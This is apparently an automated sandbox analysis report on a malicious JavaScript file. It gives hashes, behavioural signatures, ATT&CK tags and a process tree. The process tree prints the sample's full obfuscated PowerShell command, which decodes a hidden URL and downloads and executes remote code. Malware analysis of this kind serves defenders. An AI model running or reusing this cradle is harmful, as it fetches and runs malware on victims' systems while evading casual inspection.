360da4575bc5f83d1b74e35cdf923af87035b64721bc4545a170dec6ceca2eeb

Analysis

max time kernel
93s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 15:16

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General

Target

6470f81d1d6b4bb0af39d506f5f4cebffc3ed8b3916d5e01c5ad65b91ff6483a.js
Size

166KB
MD5

09a3e42c3dd0cf470d13f81a39f055df
SHA1

8b42976021c2090c3ce85ba6d7da3bb49cd61b76
SHA256

6470f81d1d6b4bb0af39d506f5f4cebffc3ed8b3916d5e01c5ad65b91ff6483a
SHA512

7ea276aa67307eb5770df32610b30215785099f2280a1cb99c3bf0995f2b36c84e3aa9d682edb26bae5b72666a1161ee2c39a7ad207be51a59a64cb36246b72b
SSDEEP

3072:nVoJp7LJHxi5NZDoHxi5dZDBZD0Hxi5PHxi5i:kRihoRiND0RiZRiQ

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2904	2604	conhost.exe	83

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	4040	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4040	powershell.exe
4040	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4040	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2904 wrote to memory of 4040	2904	conhost.exe	85
PID 2904 wrote to memory of 4040	2904	conhost.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\6470f81d1d6b4bb0af39d506f5f4cebffc3ed8b3916d5e01c5ad65b91ff6483a.js
1⤵
PID:2756

C:\Windows\system32\conhost.exe
conhost --headless powershell $ukxrtzovlhge='ur' ;new-alias printout c$($ukxrtzovlhge)l;$qdgnulasfxbi=(8457,8468,8476,8460,8462,8457,8477,8476,8481,8414,8476,8410,8457,8405,8475,8470,8471,8406,8408,8405,8471,8463,8471,8422,8474,8420,8468,8464,8469,8475,8474,8409,8408);$ctguwsdyonr=('bronx','get-cmdlet');$pldihtqxbk=$qdgnulasfxbi;foreach($oqumislvtnar in $pldihtqxbk){$lewyqubpck=$oqumislvtnar;$yhqdscna=$yhqdscna+[char]($lewyqubpck-8359);$oefgvxdqsby=$yhqdscna; $xbjpmeiydhqn=$oefgvxdqsby};$eymhljcnx[2]=$xbjpmeiydhqn;$idmcraxyuj='rl';$xaiyje=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xbjpmeiydhqn)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $ukxrtzovlhge='ur' ;new-alias printout c$($ukxrtzovlhge)l;$qdgnulasfxbi=(8457,8468,8476,8460,8462,8457,8477,8476,8481,8414,8476,8410,8457,8405,8475,8470,8471,8406,8408,8405,8471,8463,8471,8422,8474,8420,8468,8464,8469,8475,8474,8409,8408);$ctguwsdyonr=('bronx','get-cmdlet');$pldihtqxbk=$qdgnulasfxbi;foreach($oqumislvtnar in $pldihtqxbk){$lewyqubpck=$oqumislvtnar;$yhqdscna=$yhqdscna+[char]($lewyqubpck-8359);$oefgvxdqsby=$yhqdscna; $xbjpmeiydhqn=$oefgvxdqsby};$eymhljcnx[2]=$xbjpmeiydhqn;$idmcraxyuj='rl';$xaiyje=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xbjpmeiydhqn)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hqio04ap.mrz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4040-0-0x00007FFABF863000-0x00007FFABF865000-memory.dmp

Filesize
8KB

Download
memory/4040-6-0x000002211C730000-0x000002211C752000-memory.dmp

Filesize
136KB

Download
memory/4040-11-0x00007FFABF860000-0x00007FFAC0321000-memory.dmp

Filesize
10.8MB

Download
memory/4040-12-0x00007FFABF860000-0x00007FFAC0321000-memory.dmp

Filesize
10.8MB

Download
memory/4040-13-0x00007FFABF860000-0x00007FFAC0321000-memory.dmp

Filesize
10.8MB

Download
memory/4040-14-0x00007FFABF860000-0x00007FFAC0321000-memory.dmp

Filesize
10.8MB

Download
memory/4040-15-0x00007FFABF863000-0x00007FFABF865000-memory.dmp

Filesize
8KB

Download
memory/4040-16-0x00007FFABF860000-0x00007FFAC0321000-memory.dmp

Filesize
10.8MB

Download
memory/4040-19-0x00007FFABF860000-0x00007FFAC0321000-memory.dmp

Filesize
10.8MB

Download